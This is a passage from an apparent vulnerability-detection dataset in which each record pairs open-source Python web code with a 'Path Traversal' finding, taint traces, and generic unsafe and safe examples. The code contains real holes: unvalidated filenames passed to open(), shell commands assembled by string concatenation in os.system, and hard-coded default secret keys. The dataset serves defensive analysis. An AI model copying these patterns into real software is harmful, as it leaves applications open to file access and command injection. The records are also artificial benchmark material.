dict(status=data)\n\texcept:\n\t\treturn dict(status='error')\n\t\t\n\t\t\ndef show_backends(id):\n\tdata = {}\n\ttry:\n\t\tservers = check_permit_to_server(id)\n\t\t\n\t\tfor s in servers:\n\t\t\tout = funct.show_backends(s[2], ret=1)\n\t\t\t\n\t\tdata = {id: out}\n\t\t\n\texcept:\n\t\tdata = {}\n\t\tdata[id] = {\"error\":\"Cannot find the server\"}\n\t\treturn dict(error=data)\n\t\t\t\n\treturn dict(backends=data)\t\t\n\t\n\t\ndef get_config(id):\n\tdata = {}\n\ttry:\n\t\tservers = check_permit_to_server(id)\n\t\t\n\t\tfor s in servers:\n\t\t\tcfg = '/tmp/'+s[2]+'.cfg'\n\t\t\tout = funct.get_config(s[2], cfg)\n\t\t\tos.system(\"sed -i 's/\\\\n/\\n/g' \"+cfg)\n\t\ttry:\n\t\t\tconf = open(cfg, \"r\")\n\t\t\tconfig_read = conf.read()\n\t\t\tconf.close\n\t\t\t\n\t\texcept IOError:\n\t\t\tconf = '
Can\\'t read import config file'\n\t\t\t\n\t\tdata = {id: config_read}\n\t\t\n\texcept:\n\t\tdata = {}\n\t\tdata[id] = {\"error\":\"Cannot find the server\"}\n\t\treturn dict(error=data)\n\t\t\t\n\treturn dict(config=data)\n\t\n\t\ndef upload_config(id):\n\tdata = {}\n\tbody = request.body.getvalue().decode('utf-8')\n\tsave = request.headers.get('action')\n\tlogin = request.headers.get('login')\n\t\n\tif save == '':\n\t\tsave = 'save'\n\telif save == 'restart':\n\t\tsave = ''\n\t\t\n\ttry:\n\t\tservers = check_permit_to_server(id)\n\t\t\n\t\tfor s in servers:\n\t\t\tip = s[2]\n\t\tcfg = '/tmp/'+ip+'.cfg'\n\t\tcfg_for_save = hap_configs_dir + ip + \"-\" + funct.get_data('config') + \".cfg\"\n\t\t\n\t\ttry:\n\t\t\twith open(cfg, \"w\") as conf:\n\t\t\t\tconf.write(body)\n\t\t\treturn_mess = 'config was uploaded'\n\t\t\tos.system(\"/bin/cp %s %s\" % (cfg, cfg_for_save))\n\t\t\tout = funct.upload_and_restart(ip, cfg, just_save=save)\n\t\t\tfunct.logging('localhost', \" config was uploaded via REST API\", login=login)\n\t\t\t\n\t\t\tif out:\n\t\t\t\treturn_mess == out\n\t\texcept IOError:\n\t\t\treturn_mess = \"cannot upload config\"\n\t\t\t\n\t\tdata = {id: return_mess}\n\texcept:\n\t\tdata = {}\n\t\tdata[id] = {\"error\":\"Cannot find the server\"}\n\t\treturn dict(error=data)\n\t\t\t\n\treturn dict(config=data)\t\n\t\n\t\ndef add_to_config(id):\n\tdata = {}\n\tbody = request.body.getvalue().decode('utf-8')\n\tsave = request.headers.get('action')\n\thap_configs_dir = funct.get_config_var('configs', 'haproxy_save_configs_dir')\n\tlogin = request.headers.get('login')\n\t\n\tif save == '':\n\t\tsave = 'save'\n\telif save == 'restart':\n\t\tsave = ''\n\t\t\n\ttry:\n\t\tservers = check_permit_to_server(id)\n\t\t\n\t\tfor s in servers:\n\t\t\tip = s[2]\n\t\tcfg = '/tmp/'+ip+'.cfg'\n\t\tcfg_for_save = hap_configs_dir + ip + \"-\" + funct.get_data('config') + \".cfg\"\n\t\tout = funct.get_config(ip, cfg)\n\t\ttry:\n\t\t\twith open(cfg, \"a\") as conf:\n\t\t\t\tconf.write('\\n'+body+'\\n')\n\t\t\treturn_mess = 'section was added to the config'\n\t\t\tos.system(\"/bin/cp %s %s\" % (cfg, cfg_for_save))\n\t\t\tfunct.logging('localhost', \" section was added via REST API\", login=login)\n\t\t\tout = funct.upload_and_restart(ip, cfg, just_save=save)\n\n\t\t\tif out:\n\t\t\t\treturn_mess = out\n\t\texcept IOError:\n\t\t\treturn_mess = \"cannot upload config\"\n\t\t\t\n\t\tdata = {id: return_mess}\n\texcept:\n\t\tdata[id] = {\"error\":\"Cannot find the server\"}\n\t\treturn dict(error=data)\n\t\t\t\n\treturn dict(config=data)\t\n\t\n\t\ndef show_log(id):\n\tdata = {}\n\trows = request.headers.get('rows')\n\twaf = request.headers.get('waf')\n\tgrep = request.headers.get('grep')\n\thour = request.headers.get('starthour')\n\tminut = request.headers.get('startminut')\n\thour1 = request.headers.get('endhour')\n\tminut1 = request.headers.get('endminut')\n\t\n\tif rows is None:\n\t\trows = '10'\n\tif waf is None:\n\t\twaf = '0'\n\tif hour is None:\n\t\thour = '00'\n\tif minut is None:\n\t\tminut = '00'\n\tif hour1 is None:\n\t\thour1 = '24'\n\tif minut1 is None:\n\t\tminut1 = '00'\n\n\ttry:\n\t\tservers = check_permit_to_server(id)\n\t\t\n\t\tfor s in servers:\n\t\t\tip = s[2]\n\texcept:\n\t\t\n\t\tdata[id] = {\"error\":\"Cannot find the server\"}\n\t\treturn dict(error=data)\n\t\t\n\tout = funct.show_haproxy_log(ip, rows=rows, waf=str(waf), grep=grep, hour=str(hour), minut=str(minut), hour1=str(hour1), minut1=str(minut1), html=0)\n\tdata = {id: out}\n\n\treturn dict(log=data)\n\t\t\n\t", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 160, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 160, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 160, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 161, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "sget_config.s[2]"}}, {"lineNo": 161, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 165, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "c392cd46c7555f873750f42394fc9e63999ae90fb9bf0907002142b3434b0bae", "license": {"spdx": ["Apache-2.0"], "repo": "jainkuniya/Question-Generator", "path": "server/bridge/views.py", "repo_head_hexsha": "a13279076367e4c61a416d3c663016e525e4a0a6", "stack_hexsha": "f572c5b3dc73ee568ce62112d98f400fc36f2ce3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 66, "entireCode": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nimport subprocess\nimport json\n\nfrom .forms import UploadFileForm\nfrom .models import WordWithTag\n\nfrom .utils import get_parsed_object\nfrom .question_generator import generate_questions\n\nfrom .pos.keys import KEY_POS, KEY_SENTENCE, KEY_TAG, KEY_WORD\nfrom .pos.pos_abbrevations import POS_ABBREVATIONS\n\nSUCCESS_CODE = 1\nINVALID_REQUEST_CODE = -99\n\nINPUT_FILE_PATH = './bridge/uploads/'\nOUTPUT_FILE_PATH = './bridge/output/backend-pos/'\nRESPONSE_FILE_PATH = './bridge/response/'\n\nJAVA_PATH = 'java'\nENCODING = '-Dfile.encoding=UTF-8'\nCLASSPATH = '-classpath'\nJAR_PATH = '../backend-pos/bin:../backend-pos/stanford-postagger-3.9.1.jar:../backend-pos/json-simple-1.1.1.jar'\nPOS_CLASS = 'POSWrapper'\n\ndef save_in_db(parsed_data):\n for obj in parsed_data[KEY_POS]:\n for key, value in parsed_data[KEY_POS][obj][KEY_POS].items():\n if (POS_ABBREVATIONS.get(value[KEY_TAG]) is None):\n continue\n try:\n wordWithTag = WordWithTag(tag=value[KEY_TAG],\n word=str(value[KEY_WORD]).lower(),\n )\n wordWithTag.save()\n except:\n pass\n return\n\ndef index(request):\n subprocess.check_output([JAVA_PATH, ENCODING, CLASSPATH, JAR_PATH, POS_CLASS, '../backend-pos/sample-input.txt', OUTPUT_FILE_PATH + 'sample-input' + '.json'])\n parsed_object = get_parsed_object(OUTPUT_FILE_PATH + 'sample-input' + '.json')\n save_in_db(parsed_object)\n response = generate_questions(parsed_object)\n data = {\n 'success': SUCCESS_CODE,\n 'message': '',\n 'questions': response\n }\n save_file(RESPONSE_FILE_PATH + 'sample-input' + '.json', data)\n return JsonResponse(data, safe=True)\n\n@csrf_exempt\ndef upload_file(request):\n if request.method == 'POST':\n form = UploadFileForm(request.POST, request.FILES)\n input_file_name = get_file_name_and_extension(request.POST['title'])[0]\n if form.is_valid():\n handle_uploaded_file(request.FILES['file'], input_file_name)\n subprocess.check_output([JAVA_PATH, ENCODING, CLASSPATH, JAR_PATH, POS_CLASS, INPUT_FILE_PATH + input_file_name, OUTPUT_FILE_PATH + input_file_name + '.json'])\n parsed_object = get_parsed_object(OUTPUT_FILE_PATH + input_file_name + '.json')\n save_in_db(parsed_object)\n response = generate_questions(parsed_object)\n data = {\n 'success': SUCCESS_CODE,\n 'message': 'Successfully uploaded',\n 'questions': response\n }\n else:\n data = {\n 'success': INVALID_REQUEST_CODE,\n 'message': 'Invalid request type of params',\n }\n save_file(RESPONSE_FILE_PATH + input_file_name + '.json', data)\n return JsonResponse(data, safe=True)\n\ndef get_file_name_and_extension(file_name):\n res = file_name.split('.')\n if (len(res) != 2):\n return [file_name, 'txt']\n else:\n return [res[0], res[1]]\n\ndef handle_uploaded_file(f, file_name):\n with open(INPUT_FILE_PATH + file_name, 'wb+') as new_file:\n for chunk in f.chunks():\n new_file.write(chunk)\n\ndef save_file(path, data):\n with open(path, 'w') as outfile:\n json.dump(data, outfile)", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 62, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "62"}}, {"lineNo": 64, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 65, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "65"}}, {"lineNo": 66, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "handle_uploaded_file"}}, {"lineNo": 66, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "handle_uploaded_file"}}, {"lineNo": 66, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "fc45beed0402f33d3e78ef14d5ece35802d20895c3dfb4e6f3a7003aa79048e0", "license": {"spdx": ["BSD-3-Clause"], "repo": "AgPipeline/Atlana", "path": "main.py", "repo_head_hexsha": "db599f83024f41ce86b233dc210feb58adb674e9", "stack_hexsha": "c4ae9b7b36530c5c36c5702160263c78cfe61a69", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 1794, "entireCode": "\"\"\"Server side API\"\"\"\n\n# pylint: disable=too-many-lines\n\nimport json\nimport datetime\nimport copy\nimport os\nimport fnmatch\nimport time\nimport shutil\nimport hashlib\nimport base64\nimport uuid\nimport tempfile\nimport traceback\nimport subprocess\nimport sys\nfrom typing import Optional, Union\nfrom crypt import Crypt\nfrom pathlib import Path\nfrom irods.session import iRODSSession\nfrom irods.data_object import chunks\nimport irods.exception\nfrom flask import Flask, make_response, render_template, request, send_file, session\nfrom flask_cors import CORS, cross_origin\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.datastructures import MultiDict\nfrom pylint import lint\nfrom pylint.reporters.text import TextReporter\n\nfrom workflow_definitions import WORKFLOW_DEFINITIONS\n\ndef _get_additional_folders() -> Optional[dict]:\n \"\"\"Returns additional user accessible folders\"\"\"\n folder_defs = os.getenv('MORE_FOLDERS')\n if not folder_defs:\n return None\n\n return_defs = {}\n\n folder_defs = folder_defs.split(';') if ';' in folder_defs else [folder_defs]\n\n for one_def in folder_defs:\n if ':' not in one_def:\n print(f'Skipping invalid additional folder: \"{one_def}\"')\n continue\n\n try:\n def_name, def_path = [part.strip() for part in one_def.split(':')]\n except ValueError:\n print(f'ValueError exception caught while splitting additional folder: \"{one_def}\"')\n print(' continuing processing')\n continue\n\n if not def_name or not def_path:\n print(f'Invalid additional folder missing a name or a path: \"{one_def}\"')\n continue\n\n def_path = os.path.realpath(def_path)\n if not os.path.isdir(def_path):\n print(f'Path for additional folder \"{def_path}\" is not found: \"{one_def}\"')\n print(' skipping invalid path')\n continue\n\n if def_name in return_defs:\n print(f'Current additional folder \"{one_def}\" overwriting previous definition \"{def_name}:{return_defs[def_name]}\"')\n\n return_defs[def_name] = def_path\n\n return return_defs\n\ndef _get_secret_key() -> str:\n \"\"\"Returns a value to be used as a secret key\"\"\"\n cur_key = os.getenv('SECRET_KEY')\n if cur_key is None or len(cur_key) == 0:\n cur_key = 'this_is_not_a_secret_key_33343536'\n\n return cur_key\n\ndef _get_encryption_salt() -> str:\n \"\"\"Returns a value to be used as salt (IV)\"\"\"\n cur_salt = os.getenv('SALT_VALUE')\n if cur_salt is None or len(cur_salt) == 0:\n cur_salt = '381279526a7eAC2f'\n\n # The salt must match the block size\n return Crypt.adjust_crypto_salt(cur_salt)\n\ndef _get_default_passcode() -> str:\n \"\"\"Returns a default passcode to used when one is not specified\"\"\"\n cur_pc = os.getenv('DEFAULT_PASSCODE')\n if cur_pc is None or len(cur_pc) == 0:\n cur_pc = 'unsecurepasscode'\n\n # Return the passcode\n return cur_pc\n\n\ndef create_app(config_file: str = None) -> Flask:\n \"\"\"Creates the Flask app to use using an optional configuration file\n Arguments:\n config_file - an optional configuration file to use when configuring the app\n Returns:\n Returns the created app\n \"\"\"\n new_app = Flask(__name__)\n if config_file:\n new_app.config.from_pyfile(config_file)\n\n new_app.config['SECRET_KEY'] = _get_secret_key()\n\n return new_app\n\n\n# Allow an app configuration file to be specified in the environment\nCONFIG_FILE = os.getenv('APP_CONFIG_FILE')\nif CONFIG_FILE is not None:\n if not os.path.exists(CONFIG_FILE) or not os.path.isfile(CONFIG_FILE):\n print('Ignoring invalid app configuration file specified:', CONFIG_FILE)\n CONFIG_FILE = None\n\n# Create the App\napp = create_app(CONFIG_FILE)\n\n# Create the CORS handler\ncors = CORS(app, resources={r\"/files\": {\"origins\": \"http://127.0.0.1:3000\"}})\n\n# Additional folders to allow user access\nADDITIONAL_LOCAL_FOLDERS=_get_additional_folders()\n\n# The default page to serve up\nDEFAULT_TEMPLATE_PAGE='index.html'\n\n# Starting point for uploading files from server\nRESOURCE_START_PATH = os.path.abspath(os.path.dirname(__file__))\n\n# Our local path\nOUR_LOCAL_PATH = os.path.abspath(os.path.dirname(__file__))\n\n# Get the salt (IV) for encryption\nENCRYPTION_SALT = _get_encryption_salt()\n\n# Get the default passcode to use when it's not specified\nDEFAULT_PASSCODE = _get_default_passcode()\n\n# Starting point for seaching for user files on server\nFILE_START_PATH = os.getenv('WORKING_FOLDER')\nif FILE_START_PATH is None:\n FILE_START_PATH = os.path.join(OUR_LOCAL_PATH, 'upload')\nif not os.path.exists(FILE_START_PATH):\n os.makedirs(FILE_START_PATH, exist_ok=True)\n\n# Starting point for uploaded workflow files\nWORKFLOW_FILE_START_PATH = os.getenv('WORKFLOW_FOLDER')\nif WORKFLOW_FILE_START_PATH is None:\n WORKFLOW_FILE_START_PATH = os.path.join(OUR_LOCAL_PATH, 'workflow')\nif not os.path.exists(WORKFLOW_FILE_START_PATH):\n os.makedirs(WORKFLOW_FILE_START_PATH, exist_ok=True)\n\n# Running workflow path\nWORKFLOW_RUN_PATH = os.path.join(tempfile.gettempdir(), 'atlana')\nif not os.path.exists(WORKFLOW_RUN_PATH):\n os.makedirs(WORKFLOW_RUN_PATH, exist_ok=True)\n\n# Starting point for code checking files\nCODE_CHECKING_PATH = os.getenv('CODE_CHECK_FOLDER')\nif CODE_CHECKING_PATH is None:\n CODE_CHECKING_PATH = os.path.join(OUR_LOCAL_PATH, 'code_temp')\nif not os.path.exists(CODE_CHECKING_PATH):\n os.makedirs(CODE_CHECKING_PATH, exist_ok=True)\n\n# Starting point for testing code files\nCODE_TESTING_PATH = os.getenv('CODE_CHECK_FOLDER')\nif CODE_TESTING_PATH is None:\n CODE_TESTING_PATH = os.path.join(OUR_LOCAL_PATH, 'code_test')\nif not os.path.exists(CODE_TESTING_PATH):\n os.makedirs(CODE_TESTING_PATH, exist_ok=True)\n\n# Starting point for testing code files\nCODE_TEMPLATE_PATH = os.getenv('CODE_TEMPLATE_FOLDER')\nif CODE_TEMPLATE_PATH is None:\n CODE_TEMPLATE_PATH = os.path.join(OUR_LOCAL_PATH, 'test_template')\nif not os.path.exists(CODE_TEMPLATE_PATH):\n os.makedirs(CODE_TEMPLATE_PATH, exist_ok=True)\n\n# Starting point for repositories\nCODE_REPOSITORY_PATH = os.getenv('CODE_REPOSITORY_FOLDER')\nif CODE_REPOSITORY_PATH is None:\n CODE_REPOSITORY_PATH = os.path.join(OUR_LOCAL_PATH, 'repos')\nif not os.path.exists(CODE_REPOSITORY_PATH):\n os.makedirs(CODE_REPOSITORY_PATH, exist_ok=True)\n\n# Status codes for checking on processes\nSTATUS_NOT_STARTED = 0\nSTATUS_RUNNNG = 1\nSTATUS_FINISHED = 2\n\n# Number of tries to download from iRODS before giving up\nIRODS_DOWNLOAD_RETRIES = 2\n\n# Number of times to try to access queue status; should not exceed delays defined in FILE_PROCESS_QUEUE_STATUS_TIMEOUTS\nFILE_PROCESS_QUEUE_STATUS_RETRIES = 3\n\n# Number of times to try to access queue status; should not exceed delays defined in FILE_PROCESS_QUEUE_MESSAGE_TIMEOUTS\nFILE_PROCESS_QUEUE_MESSAGES_RETRIES = 3\n\n# Delay times to access the queue status before giving up\nFILE_PROCESS_QUEUE_STATUS_TIMEOUTS = [0.1, 0.2, 0.4, 0.7]\n\n# Delay times to a access the queue messages before giving up\nFILE_PROCESS_QUEUE_MESSAGE_TIMEOUTS = [0.1, 0.2, 0.1, 0.2, 0.4]\n\n# The current version of the workflow save file\nCURRENT_WORKFLOW_SAVE_VERSION = '1.0'\n\n# List of workflow save file versions we understand\nWORKFLOW_SAVE_VERSIONS_SUPPORTED = [CURRENT_WORKFLOW_SAVE_VERSION]\n\n# The current version of the workflow definition save file\nCURRENT_WORKFLOW_DEFINITION_SAVE_VERSION = '1.0'\n\n# Type of workflow saved - workflow definitions\nWORKFLOW_DEFINITION_SAVE_TYPE = 'workflow definition'\n\n# List of workflow definition save files we understand\nWORKFLOW_DEFINITION_SAVE_VERSIONS_SUPPORTED = [CURRENT_WORKFLOW_DEFINITION_SAVE_VERSION]\n\n# Maximum code length acccepted\nMAX_CODE_LENGTH = 30 * 1024\n\n\ndef _clean_for_json(dirty: object) -> dict:\n \"\"\"Cleans the dictionary of non-JSON compatible elements\n Arguments:\n dirty: the dictionary to clean\n Return:\n Returns a copy of the dictionary that has been cleaned\n \"\"\"\n if isinstance(dirty, dict):\n cleaned = {}\n for key, item in dirty.items():\n # We don't want callable objects to be returned\n print(\"-> \",key,callable(item),item)\n if not callable(item):\n print(\" handling\",type(item))\n cleaned[key] = _clean_for_json(item)\n\n return cleaned\n\n if isinstance(dirty, list):\n return [_clean_for_json(el) for el in dirty if not callable(el)]\n if isinstance(dirty, tuple):\n return (_clean_for_json(el) for el in dirty if not callable(el))\n if isinstance(dirty, set):\n return set((_clean_for_json(el) for el in dirty if not callable(el)))\n\n return dirty\n\n\ndef _get_num_code_lines(code: list) -> int:\n \"\"\"Calculates the number of code lines are available for use\n Arguments:\n code: the list of code lines\n Returns:\n Return the number of code lines that should be processed\n Notes:\n This will strip trailing whitespace from the code lines\n \"\"\"\n num_lines = len(code)\n while num_lines > 0:\n cur_line = code[num_lines - 1].strip()\n if len(cur_line) <= 0:\n num_lines -= 1\n else:\n break\n\n return num_lines\n\n\ndef _get_python_preamble(code: list, start_index: int = 0) -> int:\n \"\"\"Returns the python preamble (the part before variables can be written)\n Arguments:\n code: the list of code lines\n start_index: the starting index to begin processing\n Returns:\n Returns the ending index of the preamble\n \"\"\"\n # We disable this pylint check that would decrease readability\n # pylint: disable=too-many-nested-blocks, too-many-branches\n # We skip over blank lines, imports, comments, and docstrings\n num_lines = len(code)\n cur_line_idx = start_index\n in_docstring = False\n while cur_line_idx < num_lines:\n cur_line = code[cur_line_idx].strip()\n if in_docstring:\n cur_line_idx += 1\n if cur_line.count('\"\"\"') % 2 == 1:\n in_docstring = False\n elif len(cur_line) == 0:\n cur_line_idx += 1\n else:\n have_special = False\n for special_start in ['from', 'import']:\n if cur_line.startswith(special_start):\n have_special = True\n break\n if have_special is True:\n cur_line_idx += 1\n elif cur_line.startswith('def') or cur_line.startswith('class'):\n # We are done, check if we need to back up some rows\n if cur_line_idx > start_index:\n while True:\n cur_line_idx -= 1\n cur_line = code[cur_line_idx].strip()\n if len(cur_line) <= 0 or cur_line[0] != '#':\n break\n break\n else:\n in_docstring = cur_line.count('\"\"\"') % 2 == 1\n cur_line_idx += 1\n\n return cur_line_idx\n\n\ndef _write_python_file(filepath: str, code: str, variables: dict = None) -> tuple:\n \"\"\"Writes the Python code to the specified file overwriting the current contents of the file\n Arguments:\n filepath - the file to write to\n code - the python to write\n variables - variables to add to the python code that's being written\n Return:\n Returns the number of variables written and the starting line number of the variables as a 2-tuple\n \"\"\"\n # Break the code apart into new lines\n code_lines = code.split('\\n')\n num_lines = _get_num_code_lines(code_lines)\n\n # Prepare for the run\n if variables is None:\n variables = {}\n\n # Write the code\n variable_start_line = -1\n with open(filepath, 'w', encoding='utf8') as out_file:\n line_index = 0\n\n # Write preamble\n end_index = _get_python_preamble(code_lines, line_index)\n while line_index <= end_index:\n out_file.write(code_lines[line_index].rstrip() + '\\n')\n line_index += 1\n\n # Write variables\n variable_start_line = line_index + 1\n if variables:\n for key, value in variables.items():\n out_file.write(key + ' = \"' + value + '\"\\n')\n out_file.write('\\n')\n\n # Write remainder\n while line_index < num_lines:\n out_file.write(code_lines[line_index].rstrip() + '\\n')\n line_index += 1\n\n with open(filepath, 'r', encoding='utf8') as in_file:\n print(in_file.read())\n\n return (len(variables), variable_start_line)\n\n\ndef _lint_python_file(filepath: str) -> list:\n \"\"\"Lints the specified python file and returns the findings\"\"\"\n\n class WritableObject():\n \"\"\"Class to assist in getting pylint output\"\"\"\n def __init__(self):\n \"\"\"Initialize the instance\"\"\"\n self.content = []\n def write(self, message):\n \"\"\"Saves the message to be retrieved later\"\"\"\n self.content.append(message)\n def read(self):\n \"\"\"Returns the stored messagees \"\"\"\n return self.content\n\n pylint_output = WritableObject()\n args = ['-r', 'n', '--rcfile=pylint.rc', '--msg-template=\\'{C}:{line}:{column}:{msg}:{symbol}:{msg_id}\\'', '--errors-only']\n _ = lint.Run([filepath]+args, reporter=TextReporter(pylint_output), exit=False)\n\n return pylint_output.read()\n\n\ndef _test_python_file(algo_type: str, lang: str, filepath: str, test_folder: str) -> Union[tuple, dict]:\n \"\"\"Tests the python file\n Arguments:\n algo_type: the type of algorithm to test\n lang: the language to test\n filepath: the file to test\n test_folder: the folder to run the test in\n Returns:\n Returns the result of the test\n Exceptions:\n Raises RuntimeError if the environment is not properly configured\n \"\"\"\n print(\"HACK: _test_python_file\", algo_type, lang, filepath, test_folder)\n # Copy over needed files from the template\n template_folder = os.path.join(CODE_TEMPLATE_PATH, algo_type, lang)\n print(\"HACK: _test_python_file\", \"template folder\", template_folder)\n if not os.path.exists(template_folder) or not os.path.isdir(template_folder):\n # pylint: disable=consider-using-f-string\n raise RuntimeError('Expected template folder \"%s\" is not found' % os.path.join('/', algo_type, lang))\n\n # Copy template files over\n for one_file in os.listdir(template_folder):\n src_name = os.path.join(template_folder, one_file)\n if os.path.isfile(src_name) and src_name.endswith('.py'):\n shutil.copyfile(src_name, os.path.join(test_folder, one_file))\n print(\"HACK: _test_python_file\", \"template copy\", one_file)\n\n # Copy test images and folders over\n test_images = []\n images_folder = os.path.join(CODE_TEMPLATE_PATH, algo_type, 'images')\n dest_folder = os.path.join(test_folder, 'images')\n if not os.path.exists(dest_folder):\n os.makedirs(dest_folder)\n source_folders = [images_folder]\n for one_folder in source_folders:\n # Make sure we're putting the folders and files in the right place\n cur_dest_folder = dest_folder if one_folder == images_folder else dest_folder + one_folder[len(images_folder):]\n\n # Copy this folder's contents\n for one_file in os.listdir(one_folder):\n src_name = os.path.join(one_folder, one_file)\n dest_name = os.path.join(cur_dest_folder, one_file)\n if os.path.isfile(src_name):\n shutil.copyfile(src_name, dest_name)\n test_images.append(dest_name)\n elif os.path.isdir(src_name):\n os.makedirs(dest_name, exist_ok=True)\n source_folders.append(src_name)\n\n # Run the test\n cmd = [sys.executable, os.path.join(test_folder, filepath), '--working_space', test_folder] + test_images\n proc = subprocess.run(cmd, capture_output=True, check=False)\n\n print(\"PROC: \", cmd, proc.returncode, proc.stdout, proc.stderr)\n\n # Look for the result file\n csv_filepath = os.path.join(test_folder, 'rgb_plot.csv')\n if os.path.exists(csv_filepath):\n with open(csv_filepath, 'r', encoding='utf8') as in_file:\n res_data = in_file.read().split('\\n')\n else:\n print(\"Testing run failed\")\n res_data = {'error': 'Testing run was not successful'}\n\n return res_data\n\n\ndef normalize_path(path: str) -> str:\n \"\"\"Normalizes the path to the current OS separator character\n Arguments:\n path: the path to localize\n Return:\n Returns the localized path, which may be unchanged\n \"\"\"\n if os.path.sep == '/':\n to_replace = '\\\\'\n else:\n to_replace = '/'\n\n parts = path.split(to_replace)\n if len(parts) <= 1:\n return os.path.sep.join(parts)\n\n # Strip out doubled up separators\n new_parts = [one_part for one_part in parts if len(parts) > 0]\n return os.path.sep.join(new_parts)\n\n\ndef copy_server_file(auth: dict, source_path: str, dest_path: str) -> bool:\n \"\"\"Copies the server side file to the specified location\n Arguments:\n auth: authorization information\n source_path: path to the file to copy\n dest_path: path to copy the file to\n Exceptions:\n RuntimeError is raised if the path to copy from is not in the correct top folder\n \"\"\"\n # pylint: disable=unused-argument\n working_path = normalize_path(source_path)\n\n # Check if we have a special path\n if len(working_path) > 1:\n dir_name = Path(working_path).parts[1]\n if ADDITIONAL_LOCAL_FOLDERS and dir_name in ADDITIONAL_LOCAL_FOLDERS:\n cur_path = os.path.join(ADDITIONAL_LOCAL_FOLDERS[dir_name], working_path[len(dir_name) + 2:])\n shutil.copyfile (cur_path, dest_path)\n return True\n\n if working_path[0] == '/':\n working_path = '.' + working_path\n cur_path = os.path.abspath(os.path.join(session['upload_folder'], working_path))\n if not cur_path.startswith(session['upload_folder']):\n raise RuntimeError(\"Invalid source path for server side copy:\", cur_path)\n\n shutil.copyfile (cur_path, dest_path)\n return True\n\n\ndef irods_sha256_checksum(file_path: str, block_size: int=65536) -> str:\n \"\"\"Calculates the iRODS checksum (hexdigest) for files\n Arguments:\n file_path: the path to the file to calculate the checksum for\n block_size: the size of the blocks to read in\n Return:\n The checksum value as a string\n \"\"\"\n sha256 = hashlib.sha256()\n with open(file_path, 'rb') as in_file:\n for chunk in chunks(in_file, block_size):\n sha256.update(chunk)\n return base64.b64encode(sha256.digest()).decode()\n\n\ndef irod_md5_checksum(file_path: str) -> str:\n \"\"\"Calcualtes the IRODS MD5 checksum for a file\n Arguments:\n file_path: the path of the file to calculate the checksum for\n Return:\n The checksum as a string\n \"\"\"\n with open(file_path, 'rb') as in_file:\n return hashlib.md5(in_file.read()).hexdigest()\n\n\ndef get_irods_file(auth: dict, source_path: str, dest_path: str) -> bool:\n \"\"\"Fetches the iRODS file to the specified location on the local Machine\n Arguments:\n auth: authorization information\n source_path: path to the file to pull down\n dest_path: path to the destination file\n \"\"\"\n have_success = False\n\n for cur_try in range(0, IRODS_DOWNLOAD_RETRIES):\n with iRODSSession(host=auth['host'], port=auth['port'], user=auth['user'], password=auth['password'], zone=auth['zone']) as conn:\n obj = conn.data_objects.get(source_path, dest_path)\n # Check the checksums\n # TODO: determine which checksum method the server uses (depending upon file size it may be faster to try both methods?)\n local_checksum = irod_md5_checksum(dest_path)\n if local_checksum == obj.checksum: # pylint: disable=no-member\n have_success = True\n break\n\n print (\"IRODS: attempt\", (cur_try + 1), \"Bad checksum on downloaded file:\", source_path)\n\n return have_success\n\n\ndef put_irods_file(auth: dict, source_path: str, dest_path: str) -> bool:\n \"\"\"Uploads the file to iRODS\n Arguments:\n auth: authorization information\n source_path: path to the source file\n dest_path: path to upload the file to\n \"\"\"\n raise RuntimeError(\"iRODS put is not implemented\")\n\n\nFILE_HANDLERS = {\n '1': {\n 'name': 